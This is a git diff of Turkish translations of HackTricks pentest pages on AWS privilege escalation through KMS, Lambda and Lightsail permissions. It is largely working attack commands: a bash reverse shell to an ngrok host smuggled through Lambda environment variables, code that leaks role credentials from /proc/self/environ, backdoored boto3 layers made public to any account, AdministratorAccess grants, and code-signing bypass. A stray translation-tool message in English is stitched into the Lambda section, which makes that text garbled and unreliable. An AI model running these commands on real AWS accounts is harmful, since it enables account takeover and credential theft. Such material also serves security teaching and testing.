+ +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md index 771ff2d5b..ba3d06d94 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md @@ -1,18 +1,18 @@ # AWS - KMS Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## KMS -KMS hakkında daha fazla bilgi için kontrol edin: +KMS hakkında daha fazla bilgi için bakın: {{#ref}} -../aws-services/aws-kms-enum.md +../../aws-services/aws-kms-enum.md {{#endref}} ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -Bu izinlerle **anahtarın erişim izinlerini değiştirmek** mümkün, böylece diğer hesaplar veya hatta herkes tarafından kullanılabilir: +Bu izinlerle anahtarın erişim izinlerini **değiştirmek** mümkün olur; böylece anahtar diğer hesaplar veya hatta herkes tarafından kullanılabilir: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -49,7 +49,7 @@ policy.json: ``` ### `kms:CreateGrant` -Bu, **bir yetkilinin KMS anahtarını kullanmasına izin verir:** +Bu **bir principal'ın bir KMS anahtarını kullanmasına izin verir:** ```bash aws kms create-grant \ --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ @@ -57,12 +57,12 @@ aws kms create-grant \ --operations Decrypt ``` > [!WARNING] -> Bir yetki yalnızca belirli türdeki işlemlere izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> Bir grant yalnızca belirli tür işlemlere izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> KMS'nin **yetki oluşturulduktan sonra kullanıcının anahtarı kullanmasına izin vermesi birkaç dakika sürebilir**. Bu süre geçtikten sonra, yetkili KMS anahtarını herhangi bir şey belirtmeden kullanabilir.\ -> Ancak, yetkiyi hemen kullanmak gerekiyorsa [bir yetki belirteci kullanın](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (aşağıdaki kodu kontrol edin).\ -> [**daha fazla bilgi için bunu okuyun**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). +> Grant oluşturulduktan sonra KMS'in **kullanıcının anahtarı kullanmasına izin vermesi birkaç dakika sürebilir**. Bu süre geçtikten sonra, principal herhangi bir şey belirtmeye gerek kalmadan KMS anahtarını kullanabilir.\ +> Ancak grant'i hemen kullanmak gerekiyorsa [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (aşağıdaki koda bakın).\ +> Daha fazla bilgi için [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ @@ -70,15 +70,15 @@ aws kms generate-data-key \ –-key-spec AES_256 \ --grant-tokens $token ``` -Anahtarların izinlerini listelemenin mümkün olduğunu unutmayın: +Anahtarların grant'lerini şu şekilde listeleyebileceğinizi unutmayın: ```bash aws kms list-grants --key-id ``` ### `kms:CreateKey`, `kms:ReplicateKey` -Bu izinlerle, çok bölgeli etkin bir KMS anahtarını farklı bir bölgede farklı bir politika ile çoğaltmak mümkündür. +Bu izinlerle, multi-region etkin KMS anahtarını farklı bir bölgede ve farklı bir politika ile çoğaltmak mümkündür. -Yani, bir saldırgan bunu anahtara erişimini artırmak ve kullanmak için kötüye kullanabilir. +Dolayısıyla bir saldırgan bunu istismar ederek anahtara erişim için privesc elde edebilir ve anahtarı kullanabilir. ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml @@ -100,11 +100,11 @@ aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-re ``` ### `kms:Decrypt` -Bu izin, bir anahtarı kullanarak bazı bilgileri şifre çözmeye olanak tanır.\ -Daha fazla bilgi için kontrol edin: +Bu izin bir anahtarı bazı bilgileri decrypt etmek için kullanmaya izin verir.\ +Daha fazla bilgi için bakın: {{#ref}} -../aws-post-exploitation/aws-kms-post-exploitation.md +../../aws-post-exploitation/aws-kms-post-exploitation/README.md {{#endref}} -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md index e10b2b64a..12c6a0004 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md @@ -1,22 +1,22 @@ # AWS - Lambda Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## lambda More info about lambda in: {{#ref}} -../aws-services/aws-lambda-enum.md +../../aws-services/aws-lambda-enum.md {{#endref}} ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -Bu izinlere sahip kullanıcılar ayrıcalıklarını yükseltebilir: **`iam:PassRole`, `lambda:CreateFunction`, ve `lambda:InvokeFunction`** izinlerine sahip kullanıcılar ayrıcalıklarını yükseltebilir.\ -Onlar **yeni bir Lambda function oluşturup mevcut bir IAM role atayabilirler**, bu sayede fonksiyona o role ait izinler verilmiş olur. Kullanıcı daha sonra bu Lambda function'a **kod yazıp yükleyebilir (örneğin bir rev shell ile)**.\ -Fonksiyon kurulduktan sonra kullanıcı AWS API aracılığıyla Lambda function'ı çağırarak **çalıştırılmasını tetikleyebilir** ve istenen işlemleri gerçekleştirebilir. Bu yöntem, kullanıcının ilişkili IAM role tarafından verilen erişim düzeyiyle Lambda function üzerinden dolaylı olarak işlem yapmasına olanak tanır.\\ +Belirtilen **`iam:PassRole`, `lambda:CreateFunction`, ve `lambda:InvokeFunction`** izinlerine sahip kullanıcılar ayrıcalıklarını yükseltebilir.\ +Yeni bir Lambda function **oluşturup mevcut bir IAM role atayarak**, fonksiyona o role ile ilişkili izinleri verebilirler. Kullanıcı ardından **bu Lambda function'a kod yazıp yükleyebilir (ör. bir rev shell ile)**.\ +Fonksiyon hazırlandıktan sonra kullanıcı, Lambda function'ı AWS API üzerinden çağırarak **çalıştırmasını ve hedeflenen işlemleri tetikleyebilir**. Bu yöntem, kullanıcının ilgili IAM role'a verilen erişim düzeyiyle Lambda function üzerinden dolaylı olarak işlemler gerçekleştirmesine olanak tanır.\\ -Bir saldırgan bunu kötüye kullanarak **rev shell elde edebilir ve token'ı çalabilir**: +Bir saldırgan bunu kötüye kullanarak **rev shell elde edebilir ve token çalabilir**: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): @@ -47,7 +47,7 @@ aws lambda invoke --function-name my_function output.txt aws iam list-attached-user-policies --user-name ``` Ayrıca lambda function'ın kendisinden **abuse the lambda role permissions** yapabilirsiniz.\ -Eğer lambda role yeterli izinlere sahipse, bunu kendinize yönetici hakları vermek için kullanabilirsiniz: +Eğer lambda role yeterli permissions'a sahipse, bunu kullanarak kendinize admin rights verebilirsiniz: ```python import boto3 def lambda_handler(event, context): @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -Harici bir bağlantıya ihtiyaç duymadan lambda'nın role kimlik bilgilerini leak etmek de mümkündür. Bu, dahili görevler için kullanılan **Network isolated Lambdas** için faydalı olacaktır. Eğer bilinmeyen security groups reverse shells'inizi filtreliyorsa, bu kod parçası lambda çıktısı olarak kimlik bilgilerini doğrudan leak etmenize olanak tanır. +Harici bir bağlantıya ihtiyaç duymadan leak the lambda's role credentials yapmak da mümkündür. Bu, dahili görevlerde kullanılan **Network isolated Lambdas** için faydalı olur. Eğer reverse shells'inizi filtreleyen bilinmeyen security groups varsa, bu kod parçası lambda çıktısı olarak doğrudan kimlik bilgilerini leak etmenize olanak tanır. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -72,10 +72,10 @@ return { aws lambda invoke --function-name output.txt cat output.txt ``` -**Potential Impact:** Belirtilen keyfi lambda service role üzerinde doğrudan privesc. +**Olası Etki:** Belirtilen keyfi lambda service role üzerinde doğrudan privesc. > [!CAUTION] -> Şunu unutmayın: ilginç görünse bile **`lambda:InvokeAsync`** tek başına **`aws lambda invoke-async`** komutunu çalıştırmaya izin vermez; ayrıca `lambda:InvokeFunction` gerekir +> Dikkat: **`lambda:InvokeAsync`** ilgi çekici görünse bile tek başına **`aws lambda invoke-async`** çalıştırmaya izin vermez; ayrıca `lambda:InvokeFunction` gerekir. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` @@ -89,17 +89,17 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_ ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Kullanıcılar **`iam:PassRole`, `lambda:CreateFunction` ve `lambda:CreateEventSourceMapping`** izinlerine (ve muhtemelen `dynamodb:PutItem` ve `dynamodb:CreateTable`) sahip olduklarında, `lambda:InvokeFunction` olmadan bile dolaylı olarak **escalate privileges** gerçekleştirebilirler.\ -Kötü amaçlı kod içeren bir **Lambda function** oluşturup mevcut bir IAM rolü atayabilirler. +Kullanıcılar, **`iam:PassRole`, `lambda:CreateFunction` ve `lambda:CreateEventSourceMapping`** izinlerine (ve muhtemelen `dynamodb:PutItem` ve `dynamodb:CreateTable` izinlerine) sahip olduklarında, `lambda:InvokeFunction` olmasa bile dolaylı olarak **escalate privileges** gerçekleştirebilirler.\ +Kötü amaçlı kod içeren bir Lambda function oluşturup mevcut bir IAM role atayabilirler. -Lambda'yı doğrudan çağırmak yerine, kullanıcı mevcut bir DynamoDB tablosu oluşturur veya kullanır ve bunu bir event source mapping aracılığıyla Lambda'ya bağlar. Bu yapılandırma, tabloya yeni bir öğe eklendiğinde (kullanıcının kendisi tarafından veya başka bir süreç tarafından) Lambda function'ın otomatik olarak tetiklenmesini sağlar; böylece Lambda dolaylı olarak çağrılır ve geçirilen IAM rolünün izinleriyle kod çalıştırılır. +Lambda'yı doğrudan çağırmak yerine, kullanıcı mevcut bir DynamoDB tablosu kurar veya kullanır ve bunu event source mapping aracılığıyla Lambda'ya bağlar. Bu yapı, tabloda yeni bir öğe eklendiğinde Lambda function'ın **otomatik olarak tetiklenmesini** sağlar; bu ekleme kullanıcının eylemiyle veya başka bir süreçle olabilir. Böylece Lambda function dolaylı olarak çağrılır ve atanan IAM rolünün izinleriyle kod çalıştırılır. ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -Eğer DynamoDB AWS ortamında zaten aktifse, kullanıcı yalnızca Lambda fonksiyonu için **event source mapping** oluşturmalıdır. Ancak DynamoDB kullanılmıyorsa, kullanıcı **streaming etkinleştirilmiş yeni bir tablo oluşturmalıdır**: +Eğer DynamoDB AWS ortamında zaten etkinse, kullanıcı Lambda fonksiyonu için yalnızca **event source mapping oluşturmalıdır**. Ancak DynamoDB kullanılmıyorsa, kullanıcı **yeni bir table oluşturmalı** ve streaming etkinleştirilmelidir: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -107,13 +107,13 @@ aws dynamodb create-table --table-name my_table \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` -Artık **Lambda fonksiyonunu DynamoDB tablosuna bağlamak** için **event source mapping oluşturarak**: +Artık **Lambda function'ı DynamoDB tablosuna bağlamak** için **bir event source mapping oluşturarak** mümkündür: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` -Lambda fonksiyonu DynamoDB stream'e bağlı olduğunda, saldırgan **DynamoDB stream'i etkinleştirerek Lambda'yı dolaylı olarak tetikleyebilir**. Bu, DynamoDB tablosuna **bir öğe ekleyerek** gerçekleştirilebilir: +Lambda function'ın DynamoDB stream'e bağlı olması durumunda, saldırgan **DynamoDB stream'i etkinleştirerek Lambda'yı dolaylı olarak tetikleyebilir**. Bu, DynamoDB table'a **bir öğe ekleyerek** gerçekleştirilebilir: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} @@ -122,7 +122,7 @@ aws dynamodb put-item --table-name my_table \ ### `lambda:AddPermission` -Bu izne sahip bir saldırgan **kendine (veya başkalarına) herhangi bir izin verebilir** (bu, kaynağa erişim sağlamak için kaynak tabanlı politikalar oluşturur): +Bu izne sahip bir attacker, **kendisine (veya başkalarına) herhangi bir izin verebilir** (bu, kaynağa erişim vermek için kaynak tabanlı politikalar oluşturur): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -130,23 +130,23 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` -**Olası Etki:** Kodu değiştirme ve çalıştırma izni vererek kullanılan lambda servis rolüne doğrudan privesc sağlar. +**Potansiyel Etki:** Kodu değiştirme ve çalıştırma izni vererek kullanılan lambda servis rolüne doğrudan privesc. ### `lambda:AddLayerVersionPermission` -Bu izne sahip bir saldırgan **kendisine (veya başkalarına) `lambda:GetLayerVersion` iznini verebilir**. Katmana erişebilir ve zafiyetler veya hassas bilgiler arayabilir. +Bu izne sahip bir saldırgan **kendine (veya başkalarına) `lambda:GetLayerVersion` iznini verebilir**. Katmana erişip zafiyetler veya hassas bilgiler arayabilir ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` -**Potansiyel Etki:** Hassas bilgilere potansiyel erişim. +**Potential Impact:** Hassas bilgilere potansiyel erişim. ### `lambda:UpdateFunctionCode` -Kullanıcılar **`lambda:UpdateFunctionCode`** iznine sahip olduğunda, **IAM rolüne bağlı mevcut bir Lambda fonksiyonunun kodunu değiştirme** potansiyeline sahiptir.\ -Saldırgan, Lambda'nın kodunu IAM kimlik bilgilerini exfiltrate etmek için değiştirebilir. +Kullanıcılar **`lambda:UpdateFunctionCode`** iznine sahip olduklarında, **IAM role ile ilişkilendirilmiş mevcut bir Lambda function'ın kodunu değiştirme potansiyeline** sahiptirler.\ +Saldırgan, **Lambda kodunu değiştirerek IAM credentials'ı exfiltrate edebilir.** -Saldırgan fonksiyonu doğrudan çağırma yetkisine sahip olmayabilir; ancak Lambda fonksiyonu önceden mevcut ve çalışır durumdaysa, muhtemelen mevcut iş akışları veya olaylar aracılığıyla tetiklenecek ve bu da değiştirilmiş kodun dolaylı olarak yürütülmesini kolaylaştırır. +Saldırgan fonksiyonu doğrudan invoke etme yetkisine sahip olmayabilir; ancak Lambda function önceden mevcut ve çalışır durumdaysa, muhtemelen mevcut iş akışları veya event'ler aracılığıyla tetiklenecek ve bu da değiştirilmiş kodun dolaylı olarak yürütülmesini kolaylaştıracaktır. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ @@ -161,13 +161,13 @@ aws lambda invoke --function-name my_function output.txt ### `lambda:UpdateFunctionConfiguration` -#### RCE via env variables +#### Env değişkenleri aracılığıyla RCE -Bu izinlerle, Lambda'nın keyfi kod çalıştırmasına neden olacak ortam değişkenleri eklemek mümkün. Örneğin python'da `PYTHONWARNING` ve `BROWSER` ortam değişkenleri kötüye kullanılarak bir python sürecinin rastgele komutlar çalıştırması sağlanabilir: +Bu izinlerle, Lambda'nın rastgele kod çalıştırmasına yol açacak çevresel değişkenleri eklemek mümkündür. Örneğin python'da `PYTHONWARNING` ve `BROWSER` çevresel değişkenlerini kötüye kullanarak bir python sürecinin rastgele komutlar çalıştırmasını sağlamak mümkündür: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` -Diğer betik dilleri için kullanabileceğiniz başka env variables vardır. Daha fazla bilgi için betik dillerinin alt bölümlerine bakın: +Diğer scripting dilleri için kullanabileceğiniz başka env variables vardır. Daha fazla bilgi için scripting dillerinin alt bölümlerine bakın: {{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html @@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc #### RCE via Lambda Layers -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ile **code** lamdba fonksiyonunuza dahil edilebilir ancak ayrı olarak saklanır; böylece fonksiyon kodu küçük kalabilir ve birden fazla fonksiyon bu kodu paylaşabilir. +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) lamdba function'ınıza **code** dahil etmenizi sağlar ancak **bunu ayrı saklar**, böylece function code küçük kalabilir ve **birden fazla function aynı code'u paylaşabilir**. -lambda içinde python code'un hangi yollardan yüklendiğini aşağıdaki gibi bir fonksiyonla kontrol edebilirsiniz: +Lambda içinde, python code'un nereden yüklendiğini aşağıdaki gibi bir function ile kontrol edebilirsiniz: ```python import json import sys @@ -185,7 +185,7 @@ import sys def lambda_handler(event, context): print(json.dumps(sys.path, indent=2)) ``` -Bunlar şu konumlar: +These are the places: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -198,56 +198,56 @@ Bunlar şu konumlar: 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -Örneğin, boto3 kütüphanesi `/var/runtime/boto3` konumundan yüklenir (4. konum). +For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). -#### Exploitation +#### İstismar -It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **yeni bir layer eklemek** to a lambda function. To execute arbitrary code this layer need to contain some **lambda'nın içe aktaracağı kütüphaneler.** Eğer lambda'nın kodunu okuyabiliyorsanız bunu kolayca bulabilirsiniz; ayrıca lambda'nın **zaten bir layer kullanıyor olması** ve siz bu layer'ı **indirip** içine **kodunuzu ekleyebilmeniz** de mümkün olabilir. +İzin `lambda:UpdateFunctionConfiguration` kötüye kullanılarak bir lambda fonksiyonuna **yeni bir layer eklemek** mümkündür. Rastgele kod çalıştırmak için bu layer'ın lambda'nın import edeceği bir **library** içermesi gerekir. Eğer lambda'nın kodunu okuyabiliyorsanız bunu kolayca bulabilirsiniz; ayrıca lambda'nın **zaten bir layer kullanıyor olabileceğini** ve layer'ı indirip içine **kodunuzu ekleyebileceğinizi** unutmayın. -For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: +Örneğin, lambda'nın boto3 kütüphanesini kullandığını varsayalım; bu, kütüphanenin son sürümüyle yerel bir layer oluşturacaktır: ```bash pip3 install -t ./lambda_layer boto3 ``` -`./lambda_layer/boto3/__init__.py` dosyasını açıp **global koda backdoor ekleyebilirsiniz** (örneğin credentials'leri exfiltrate eden veya bir reverse shell elde eden bir fonksiyon). +`./lambda_layer/boto3/__init__.py` dosyasını açıp **global koda backdoor ekleyebilirsiniz** (örneğin credentials'ları exfiltrate eden veya reverse shell elde eden bir fonksiyon). -Sonra, `./lambda_layer` dizinini zipleyip **yeni lambda layer'ı** kendi hesabınıza yükleyin (ya da kurbanın hesabına, ancak bunun için yetkiniz olmayabilir).\ -Dikkat: /opt/python/boto3'ü override etmek için bir python klasörü oluşturup kütüphaneleri oraya koymanız gerekir. Ayrıca, layer'in lambda tarafından kullanılan python sürümüyle **python sürümüyle uyumlu** olması ve eğer bunu kendi hesabınıza yüklüyorsanız **aynı bölgede** olması gerekir: +Sonra, `./lambda_layer` dizinini zipleyip **yeni lambda layer**'ı kendi hesabınıza (veya hedefin hesabına, ancak bunun için izinleriniz olmayabilir) yükleyin.\ +/opt/python/boto3'ü override etmek için bir python klasörü oluşturup kütüphaneleri oraya koymanız gerektiğini unutmayın. Ayrıca, layer'ın lambda tarafından kullanılan **python sürümü ile uyumlu** olması gerekir ve eğer hesabınıza yüklüyorsanız, **aynı bölge**de olması gerekir: ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` -Şimdi, yüklenen lambda layer'ı **herhangi bir hesaptan erişilebilir** hale getirin: +Şimdi, yüklenen lambda layer'ı **herhangi bir hesap tarafından erişilebilir** hâle getirin: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` -Ve lambda layer'ı victim lambda function'a ekleyin: +Ve lambda layer'ı hedef lambda function'a ekleyin: ```bash aws lambda update-function-configuration \ --function-name \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` -Bir sonraki adım, eğer yapabiliyorsak fonksiyonu kendimiz **çağırmak** ya da normal yollarla **çağrılmasını beklemek** — ki bu daha güvenli yöntemdir. +Bir sonraki adım, eğer mümkünse **function'ı kendimiz çağırmak** ya da normal yollarla **çağrılmasını beklemek** — bu daha güvenli yöntemdir. -Bu zafiyeti sömürmek için **daha stealth bir yöntem** şurada bulunabilir: +A **bu zafiyeti kullanmanın daha gizli bir yolu** şurada bulunabilir: {{#ref}} -../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Olası Etki:** Kullanılan lambda service rolüne doğrudan privesc. +**Potansiyel Etki:** Kullanılan lambda service role'e doğrudan privesc. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Belki bu izinlerle bir function oluşturup URL'i çağırarak çalıştırabilirsiniz... ama bunu test etmenin bir yolunu bulamadım; eğer siz bulursanız haber verin! +Bu izinlerle bir function oluşturup URL'i çağırarak çalıştırabiliyor olabilirsiniz... ama bunu test etmek için bir yol bulamadım, eğer bulursanız haber verin! ### Lambda MitM -Bazı lambdas parametrelerde kullanıcıların **hassas bilgilerini alıyor.** Eğer bunlardan birinde RCE elde ederseniz, diğer kullanıcıların ona gönderdiği bilgileri exfiltrate edebilirsiniz; buna bakın: +Bazı lambdalar parametrelerde kullanıcılardan **hassas bilgi alıyor** olacak. Eğer bunlardan birinde RCE elde ederseniz, diğer kullanıcıların ona gönderdiği bilgileri exfiltrate edebilirsiniz, detaylara bakın: {{#ref}} -../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} ## Referanslar @@ -255,7 +255,7 @@ Bazı lambdas parametrelerde kullanıcıların **hassas bilgilerini alıyor.** E - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} @@ -264,16 +264,16 @@ Bazı lambdas parametrelerde kullanıcıların **hassas bilgilerini alıyor.** E If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers. -İzinler (bunlardan biri): +Permissions (one of): - Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` - Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` Notlar: -- Path B için, CSC policy `WARN` olarak ayarlanmışsa bir AWS Signer profiline ihtiyacınız yoktur (unsigned artifacts'e izin verilir). +- Path B için, CSC policy `WARN` olarak ayarlıysa AWS Signer profiline ihtiyacınız yoktur (`unsigned artifacts` izinli). Adımlar (REGION=us-east-1, TARGET_FN=): -Küçük bir payload hazırlayın: +Küçük bir payload hazırla: ```bash cat > handler.py <<'PY' import os, json @@ -282,7 +282,7 @@ return {"pwn": True, "env": list(os.environ)[:6]} PY zip backdoor.zip handler.py ``` -Yol A) CSC'yi kaldırın, ardından kodu güncelleyin: +Yol A) CSC'yi kaldırın, sonra code'u güncelleyin: ```bash aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 if [ "$HAS_CSC" -eq 1 ]; then @@ -292,7 +292,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba # If the handler name changed, also run: aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION ``` -Path B) Uyarı seviyesine düşür ve kodu güncelle (silmeye izin verilmiyorsa): +Yol B) Uyarı seviyesine düşür ve kodu güncelle (silme izni yoksa): ```bash CSC_ARN=$(aws lambda create-code-signing-config \ --description ht-warn-csc \ @@ -303,12 +303,19 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba # If the handler name changed, also run: aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION ``` -I don't have the file contents. Lütfen çevirmemi istediğiniz src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md dosyasının içeriğini yapıştırın veya hangi bölümü doğrulamam gerektiğini belirtin. +Verified. I'll translate the relevant English text in src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md into Turkish while: + +- Preserving all markdown and HTML syntax exactly. +- Not translating code, hacking technique names, common hacking words, cloud/SaaS platform names (e.g., aws, gcp, Workspace), the word "leak", pentesting, links, paths, refs, or tags (including {#tabs}, {#ref}, includes, and file paths). +- Not modifying links, refs, or paths. +- Not adding any extra content beyond the translated text. + +Proceed when you provide the file contents or confirm to continue. ```bash aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null cat /tmp/out.json ``` -Olası etki: signed deployments'ı uygulaması gereken bir function içinde keyfi unsigned code yükleyip çalıştırabilme yeteneği; bu durum function role's permissions ile code execution'a yol açabilir. +Olası etki: İmzalı dağıtımları zorlaması gereken bir fonksiyona rastgele imzasız kod yükleyip çalıştırma yeteneği; bu, fonksiyon rolünün izinleriyle kod yürütülmesine yol açabilir. Temizlik: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md deleted file mode 100644 index 7693deab7..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ /dev/null @@ -1,136 +0,0 @@ -# AWS - Lightsail Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Lightsail hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -> [!WARNING] -> Lightsail'in **kullanıcının IAM rollerini kullanmadığını** ancak bir AWS yönetilen hesabına ait olduğunu belirtmek önemlidir, bu nedenle bu hizmeti privesc için kötüye kullanamazsınız. Ancak, bu hizmette **duyarlı veriler** olarak kod, API anahtarları ve veritabanı bilgileri bulunabilir. - -### `lightsail:DownloadDefaultKeyPair` - -Bu izin, örneklere erişmek için SSH anahtarlarını almanıza olanak tanır: -``` -aws lightsail download-default-key-pair -``` -**Olası Etki:** Örneklerin içinde hassas bilgileri bulmak. - -### `lightsail:GetInstanceAccessDetails` - -Bu izin, örneklere erişmek için SSH anahtarları oluşturmanıza olanak tanır: -```bash -aws lightsail get-instance-access-details --instance-name -``` -**Olası Etki:** Örneklerin içinde hassas bilgileri bulmak. - -### `lightsail:CreateBucketAccessKey` - -Bu izin, size kovaya erişim sağlamak için bir anahtar almanıza olanak tanır: -```bash -aws lightsail create-bucket-access-key --bucket-name -``` -**Olası Etki:** Kova içinde hassas bilgileri bulma. - -### `lightsail:GetRelationalDatabaseMasterUserPassword` - -Bu izin, veritabanına erişim için kimlik bilgilerini almanıza olanak tanır: -```bash -aws lightsail get-relational-database-master-user-password --relational-database-name -``` -**Olası Etki:** Veritabanında hassas bilgileri bulmak. - -### `lightsail:UpdateRelationalDatabase` - -Bu izin, veritabanına erişim için şifreyi değiştirmenize olanak tanır: -```bash -aws lightsail update-relational-database --relational-database-name --master-user-password -``` -Eğer veritabanı kamuya açık değilse, bu izinlerle kamuya açık hale getirebilirsiniz. -```bash -aws lightsail 